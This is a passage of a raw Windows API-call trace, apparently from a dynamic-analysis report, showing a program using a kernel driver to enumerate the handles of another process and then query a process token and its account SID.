DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031a6600, HandleInformation=0x0) returned 0x0 [0069.266] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.266] PsReleaseProcessExitSynchronization () returned 0x2 [0069.266] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.266] ObQueryNameString (in: Object=0xfffffa80031a6600, ObjectNameInfo=0xfffffa800398c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800398c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.267] ObfDereferenceObject (Object=0xfffffa80031a6600) returned 0x3 [0069.267] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.267] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.267] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.267] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0069.267] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.267] PsAcquireProcessExitSynchronization () returned 0x0 [0069.267] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.267] ObReferenceObjectByHandle (in: Handle=0x2c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031ab710, HandleInformation=0x0) returned 0x0 [0069.267] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.267] PsReleaseProcessExitSynchronization () returned 0x2 [0069.267] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.267] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8001fa2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.267] ObfDereferenceObject (Object=0xfffffa80031ab710) returned 0x1 [0069.267] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.268] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.268] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.268] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0069.268] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.268] PsAcquireProcessExitSynchronization () returned 0x0 [0069.268] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.268] ObReferenceObjectByHandle (in: Handle=0x468, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80031ea850, HandleInformation=0x0) returned 0x0 [0069.268] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.268] PsReleaseProcessExitSynchronization () returned 0x2 [0069.268] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.268] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa87c4, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8001fa87c4, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.268] ObfDereferenceObject (Object=0xfffffa80031ea850) returned 0x1 [0069.268] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.268] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.268] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.268] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0069.268] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.268] PsAcquireProcessExitSynchronization () returned 0x0 [0069.268] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.268] ObReferenceObjectByHandle (in: Handle=0x46c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003409980, HandleInformation=0x0) returned 0x0 [0069.268] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.268] PsReleaseProcessExitSynchronization () returned 0x2 [0069.268] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.268] ObQueryNameString (in: Object=0xfffffa8003409980, ObjectNameInfo=0xfffffa80019da044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80019da044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.268] ObfDereferenceObject (Object=0xfffffa8003409980) returned 0x1 [0069.268] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.268] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.268] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.268] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0069.268] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.268] PsAcquireProcessExitSynchronization () returned 0x0 [0069.268] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.268] ObReferenceObjectByHandle (in: Handle=0x470, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80034096e0, HandleInformation=0x0) returned 0x0 [0069.269] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.269] PsReleaseProcessExitSynchronization () returned 0x2 [0069.269] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.269] ObQueryNameString (in: Object=0xfffffa80034096e0, ObjectNameInfo=0xfffffa8003964044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003964044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.269] ObfDereferenceObject (Object=0xfffffa80034096e0) returned 0x2 [0069.269] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.269] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.269] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.269] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0069.269] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.269] PsAcquireProcessExitSynchronization () returned 0x0 [0069.269] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.269] ObReferenceObjectByHandle (in: Handle=0x474, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003409590, HandleInformation=0x0) returned 0x0 [0069.269] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.269] PsReleaseProcessExitSynchronization () returned 0x2 [0069.269] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.269] ObQueryNameString (in: Object=0xfffffa8003409590, ObjectNameInfo=0xfffffa8003967044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003967044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.269] ObfDereferenceObject (Object=0xfffffa8003409590) returned 0x1 [0069.269] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.269] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.269] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.269] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0069.269] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.269] PsAcquireProcessExitSynchronization () returned 0x0 [0069.269] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.269] ObReferenceObjectByHandle (in: Handle=0x588, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0069.269] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.269] PsReleaseProcessExitSynchronization () returned 0x2 [0069.269] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.269] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa800396f044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396f044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.269] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0069.269] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.269] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.270] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.270] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0069.270] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.270] PsAcquireProcessExitSynchronization () returned 0x0 [0069.270] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.270] ObReferenceObjectByHandle (in: Handle=0x58c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003b68070, HandleInformation=0x0) returned 0x0 [0069.270] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.270] PsReleaseProcessExitSynchronization () returned 0x2 [0069.270] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.270] ObQueryNameString (in: Object=0xfffffa8003b68070, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.270] ObfDereferenceObject (Object=0xfffffa8003b68070) returned 0x2 [0069.270] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.270] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.270] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.270] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x34, lpOverlapped=0x0) returned 1 [0069.270] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.270] PsAcquireProcessExitSynchronization () returned 0x0 [0069.270] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.270] ObReferenceObjectByHandle (in: Handle=0x590, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003b68b30, HandleInformation=0x0) returned 0x0 [0069.270] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.270] PsReleaseProcessExitSynchronization () returned 0x2 [0069.270] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.270] ObQueryNameString (in: Object=0xfffffa8003b68b30, ObjectNameInfo=0xfffffa8003966044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003966044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.270] ObfDereferenceObject (Object=0xfffffa8003b68b30) returned 0x1 [0069.270] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.270] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.270] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.270] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0069.270] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.270] PsAcquireProcessExitSynchronization () returned 0x0 [0069.270] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.270] ObReferenceObjectByHandle (in: Handle=0x5d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0069.271] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.271] PsReleaseProcessExitSynchronization () returned 0x2 [0069.271] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.271] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.271] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0x9 [0069.271] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.271] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.271] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.271] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0069.271] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.271] PsAcquireProcessExitSynchronization () returned 0x0 [0069.271] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.271] ObReferenceObjectByHandle (in: Handle=0x670, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002f8b590, HandleInformation=0x0) returned 0x0 [0069.271] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.271] PsReleaseProcessExitSynchronization () returned 0x2 [0069.271] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.271] ObQueryNameString (in: Object=0xfffffa8002f8b590, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.271] ObfDereferenceObject (Object=0xfffffa8002f8b590) returned 0x4 [0069.271] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.271] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.271] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.271] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x56, lpOverlapped=0x0) returned 1 [0069.271] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.271] PsAcquireProcessExitSynchronization () returned 0x0 [0069.271] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.271] ObReferenceObjectByHandle (in: Handle=0x684, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003575ea0, HandleInformation=0x0) returned 0x0 [0069.271] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.271] PsReleaseProcessExitSynchronization () returned 0x2 [0069.271] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.271] ObQueryNameString (in: Object=0xfffffa8003575ea0, ObjectNameInfo=0xfffffa800396d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.271] ObfDereferenceObject (Object=0xfffffa8003575ea0) returned 0x2 [0069.271] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.272] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.272] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.272] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0069.272] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.272] PsAcquireProcessExitSynchronization () returned 0x0 [0069.272] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.272] ObReferenceObjectByHandle (in: Handle=0x6ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800321a890, HandleInformation=0x0) returned 0x0 [0069.272] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.272] PsReleaseProcessExitSynchronization () returned 0x2 [0069.272] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.272] ObQueryNameString (in: Object=0xfffffa80027268b0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff880054f8508) returned 0x0 [0069.272] ObfDereferenceObject (Object=0xfffffa800321a890) returned 0x1 [0069.272] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.272] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.272] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.272] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0069.272] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.272] PsAcquireProcessExitSynchronization () returned 0x0 [0069.272] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.272] ObReferenceObjectByHandle (in: Handle=0x6cc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003469300, HandleInformation=0x0) returned 0x0 [0069.272] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.272] PsReleaseProcessExitSynchronization () returned 0x2 [0069.272] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.272] ObQueryNameString (in: Object=0xfffffa8003469300, ObjectNameInfo=0xfffffa8003998044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003998044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.272] ObfDereferenceObject (Object=0xfffffa8003469300) returned 0x11 [0069.272] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.272] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.272] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x190b20 [0069.272] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x190b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x190b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0069.272] PsLookupProcessByProcessId (in: ProcessId=0x338, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0069.272] PsAcquireProcessExitSynchronization () returned 0x0 [0069.272] KeStackAttachProcess (in: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800312bb30, ApcState=0xfffff880054f85d0) [0069.272] ObReferenceObjectByHandle (in: Handle=0x738, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800dbff6c0, HandleInformation=0x0) returned 0x0 [0069.273] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0069.273] PsReleaseProcessExitSynchronization () returned 0x2 [0069.273] ObfDereferenceObject (Object=0xfffffa800312bb30) returned 0xd5 [0069.273] ObQueryNameString (in: Object=0xfffffa800dbff6c0, ObjectNameInfo=0xfffffa8003999044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003999044, ReturnLength=0xfffff880054f8550) returned 0x0 [0069.273] ObfDereferenceObject (Object=0xfffffa800dbff6c0) returned 0x1 [0069.273] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.273] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x190b20 | out: hHeap=0x150000) returned 1 [0069.273] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x370) returned 0xc0 [0069.273] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0069.273] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800315cb30, HandleInformation=0x0) returned 0x0 [0069.273] ObOpenObjectByPointer (in: Object=0xfffffa800315cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff80000a50) returned 0x0 [0069.273] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x212 [0069.273] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a50, DesiredAccess=0x8, TokenHandle=0xfffffa800215d040 | out: TokenHandle=0xfffffa800215d040*=0xc8) returned 0x0 [0069.273] ZwClose (Handle=0xffffffff80000a50) returned 0x0 [0069.273] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0069.273] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0069.273] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, 